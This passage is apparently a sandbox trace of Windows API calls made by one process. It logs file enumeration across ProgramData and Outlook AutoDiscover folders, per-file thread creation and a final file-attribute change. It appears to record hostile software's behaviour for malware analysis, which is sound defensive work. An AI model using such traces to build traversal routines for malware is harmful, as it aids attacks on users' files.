Users\\Microsoft\\RAC\\PublishedData\\" [0143.243] wcscat (in: _Dest=0x1ced95c0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\*") returned="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\*" [0143.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cec4280 [0143.243] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\*", lpFindFileData=0x1cec4280 | out: lpFindFileData=0x1cec4280*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce255900, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xce255900, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dd30 [0143.243] wcscmp (_String1=".", _String2=".") returned 0 [0143.243] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1cec4280 | out: lpFindFileData=0x1cec4280*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce255900, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xce255900, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.243] wcscmp (_String1="..", _String2=".") returned 1 [0143.243] wcscmp (_String1="..", _String2="..") returned 0 [0143.243] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1cec4280 | out: lpFindFileData=0x1cec4280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xece09220, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce255900, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0x428d4f0, ftLastWriteTime.dwHighDateTime=0x1d699a6, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiDatabase.sdf", cAlternateFileName="RACWMI~1.SDF")) returned 1 [0143.243] wcscmp (_String1="RacWmiDatabase.sdf", _String2=".") returned 1 [0143.244] wcscmp (_String1="RacWmiDatabase.sdf", _String2="..") returned 1 [0143.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x2050aad0 [0143.244] wcscpy (in: _Dest=0x2050aad0, _Source="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData") returned="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData" [0143.244] wcscat (in: _Dest=0x2050aad0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\") returned="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\" [0143.244] wcscat (in: _Dest=0x2050aad0, _Source="RacWmiDatabase.sdf" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf") returned="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" [0151.213] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050aad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d5c [0151.214] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1cec4280 | out: lpFindFileData=0x1cec4280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xece09220, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce255900, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0x428d4f0, ftLastWriteTime.dwHighDateTime=0x1d699a6, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiDatabase.sdf", cAlternateFileName="RACWMI~1.SDF")) returned 0 [0151.214] FindClose (in: hFindFile=0x1cd9dd30 | out: hFindFile=0x1cd9dd30) returned 1 [0151.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec4280) returned 1 [0151.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced95c0) returned 1 [0151.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1f70) returned 1 Thread: id = 2275 os_tid = 0xa04 [0143.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1cd9d7f0 [0143.245] wcscpy (in: _Dest=0x1cd9d7f0, _Source="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound") returned="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound" [0143.245] wcscat (in: _Dest=0x1cd9d7f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\") returned="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\" [0143.245] wcscat (in: _Dest=0x1cd9d7f0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\*") returned="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\*" [0143.245] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cec44f0 [0143.245] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\Outbound\\*", lpFindFileData=0x1cec44f0 | out: lpFindFileData=0x1cec44f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d430 [0143.246] wcscmp (_String1=".", _String2=".") returned 0 [0143.246] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1cec44f0 | out: lpFindFileData=0x1cec44f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.246] wcscmp (_String1="..", _String2=".") returned 1 [0143.246] wcscmp (_String1="..", _String2="..") returned 0 [0143.246] FindNextFileW (in: hFindFile=0x1cd9d430, lpFindFileData=0x1cec44f0 | out: lpFindFileData=0x1cec44f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0143.246] FindClose (in: hFindFile=0x1cd9d430 | out: hFindFile=0x1cd9d430) returned 1 [0143.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec44f0) returned 1 [0143.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d7f0) returned 1 [0143.247] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86af0) returned 1 Thread: id = 2276 os_tid = 0x158 [0143.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86e2c0 [0143.249] wcscpy (in: _Dest=0x1b86e2c0, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions" [0143.249] wcscat (in: _Dest=0x1b86e2c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\" [0143.249] wcscat (in: _Dest=0x1b86e2c0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\*") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\*" [0143.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cec44f0 [0143.249] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\*", lpFindFileData=0x1cec44f0 | out: lpFindFileData=0x1cec44f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86af0 [0143.249] wcscmp (_String1=".", _String2=".") returned 0 [0143.249] FindNextFileW (in: hFindFile=0x1cd86af0, lpFindFileData=0x1cec44f0 | out: lpFindFileData=0x1cec44f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.249] wcscmp (_String1="..", _String2=".") returned 1 [0143.249] wcscmp (_String1="..", _String2="..") returned 0 [0143.249] FindNextFileW (in: hFindFile=0x1cd86af0, lpFindFileData=0x1cec44f0 | out: lpFindFileData=0x1cec44f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0143.249] wcscmp (_String1="1036", _String2=".") returned 1 [0143.250] wcscmp (_String1="1036", _String2="..") returned 1 [0143.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b86e330 [0143.250] wcscpy (in: _Dest=0x1b86e330, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions" [0143.250] wcscat (in: _Dest=0x1b86e330, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\" [0143.250] wcscat (in: _Dest=0x1b86e330, _Source="1036" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036" [0150.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86e330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e0c [0150.865] FindNextFileW (in: hFindFile=0x1cd86af0, lpFindFileData=0x1cec44f0 | out: lpFindFileData=0x1cec44f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0150.865] wcscmp (_String1="3082", _String2=".") returned 1 [0150.865] wcscmp (_String1="3082", _String2="..") returned 1 [0150.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1ced8a60 [0150.865] wcscpy (in: _Dest=0x1ced8a60, _Source="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions" [0150.865] wcscat (in: _Dest=0x1ced8a60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\" [0150.865] wcscat (in: _Dest=0x1ced8a60, _Source="3082" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082" [0150.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1ced8a60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x22a8 [0150.866] FindNextFileW (in: hFindFile=0x1cd86af0, lpFindFileData=0x1cec44f0 | out: lpFindFileData=0x1cec44f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef116910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef116910, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 0 [0150.866] FindClose (in: hFindFile=0x1cd86af0 | out: hFindFile=0x1cd86af0) returned 1 [0150.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec44f0) returned 1 [0150.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e2c0) returned 1 [0150.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x17f0d0) returned 1 Thread: id = 2277 os_tid = 0xb0c [0143.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1cd86b50 [0143.251] wcscpy (in: _Dest=0x1cd86b50, _Source="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0") returned="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0" [0143.251] wcscat (in: _Dest=0x1cd86b50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\") returned="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\" [0143.251] wcscat (in: _Dest=0x1cd86b50, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\*") returned="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\*" [0143.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cec4760 [0143.251] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MSDN\\8.0\\*", lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86130 [0143.252] wcscmp (_String1=".", _String2=".") returned 0 [0143.252] FindNextFileW (in: hFindFile=0x1cd86130, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.252] wcscmp (_String1="..", _String2=".") returned 1 [0143.252] wcscmp (_String1="..", _String2="..") returned 0 [0143.252] FindNextFileW (in: hFindFile=0x1cd86130, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50ea0e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0143.252] FindClose (in: hFindFile=0x1cd86130 | out: hFindFile=0x1cd86130) returned 1 [0143.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec4760) returned 1 [0143.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86b50) returned 1 [0143.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86610) returned 1 Thread: id = 2278 os_tid = 0x1c04 [0141.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x2050b460 [0141.602] wcscpy (in: _Dest=0x2050b460, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0141.602] wcscat (in: _Dest=0x2050b460, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0141.602] wcscat (in: _Dest=0x2050b460, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\*" [0141.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20502530 [0141.602] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\*", lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9db50 [0148.543] wcscmp (_String1=".", _String2=".") returned 0 [0148.543] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5133d8d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70c9f7b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.546] wcscmp (_String1="..", _String2=".") returned 1 [0148.546] wcscmp (_String1="..", _String2="..") returned 0 [0148.546] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0x0, dwReserved1=0x0, cFileName="AMERITECH.NET.XML", cAlternateFileName="AMERIT~1.XML")) returned 1 [0148.546] wcscmp (_String1="AMERITECH.NET.XML", _String2=".") returned 1 [0148.546] wcscmp (_String1="AMERITECH.NET.XML", _String2="..") returned 1 [0148.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050cdf0 [0148.546] wcscpy (in: _Dest=0x2050cdf0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0148.546] wcscat (in: _Dest=0x2050cdf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0148.546] wcscat (in: _Dest=0x2050cdf0, _Source="AMERITECH.NET.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\AMERITECH.NET.XML" [0151.153] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050cdf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a0 [0151.153] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="BTINTERNET.NET.XML", cAlternateFileName="BTINTE~1.XML")) returned 1 [0151.153] wcscmp (_String1="BTINTERNET.NET.XML", _String2=".") returned 1 [0151.153] wcscmp (_String1="BTINTERNET.NET.XML", _String2="..") returned 1 [0151.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa4) returned 0x1cd65d90 [0151.154] wcscpy (in: _Dest=0x1cd65d90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0151.154] wcscat (in: _Dest=0x1cd65d90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0151.154] wcscat (in: _Dest=0x1cd65d90, _Source="BTINTERNET.NET.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTINTERNET.NET.XML" [0151.154] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd65d90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x23fc [0151.155] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x51b201b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="BTOPENWORLD.COM.XML", cAlternateFileName="BTOPEN~1.XML")) returned 1 [0151.155] wcscmp (_String1="BTOPENWORLD.COM.XML", _String2=".") returned 1 [0151.155] wcscmp (_String1="BTOPENWORLD.COM.XML", _String2="..") returned 1 [0151.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1cd65ce0 [0151.155] wcscpy (in: _Dest=0x1cd65ce0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0151.155] wcscat (in: _Dest=0x1cd65ce0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0151.155] wcscat (in: _Dest=0x1cd65ce0, _Source="BTOPENWORLD.COM.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTOPENWORLD.COM.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\BTOPENWORLD.COM.XML" [0151.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cd65ce0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2404 [0151.624] FindNextFileW (in: hFindFile=0x1cd9db50, lpFindFileData=0x20502530 | out: lpFindFileData=0x20502530*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x52837ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLASH.NET.XML", cAlternateFileName="FLASHN~1.XML")) returned 1 [0151.624] wcscmp (_String1="FLASH.NET.XML", _String2=".") returned 1 [0151.624] wcscmp (_String1="FLASH.NET.XML", _String2="..") returned 1 [0151.624] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202ad3f0 [0151.625] wcscpy (in: _Dest=0x202ad3f0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover" [0151.625] wcscat (in: _Dest=0x202ad3f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0151.625] wcscat (in: _Dest=0x202ad3f0, _Source="FLASH.NET.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\FLASH.NET.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\FLASH.NET.XML" [0151.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\FLASH.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\flash.net.xml")) returned 0x20 [0151.629] SetFileAttributesW (lpFileName="C:\\Program 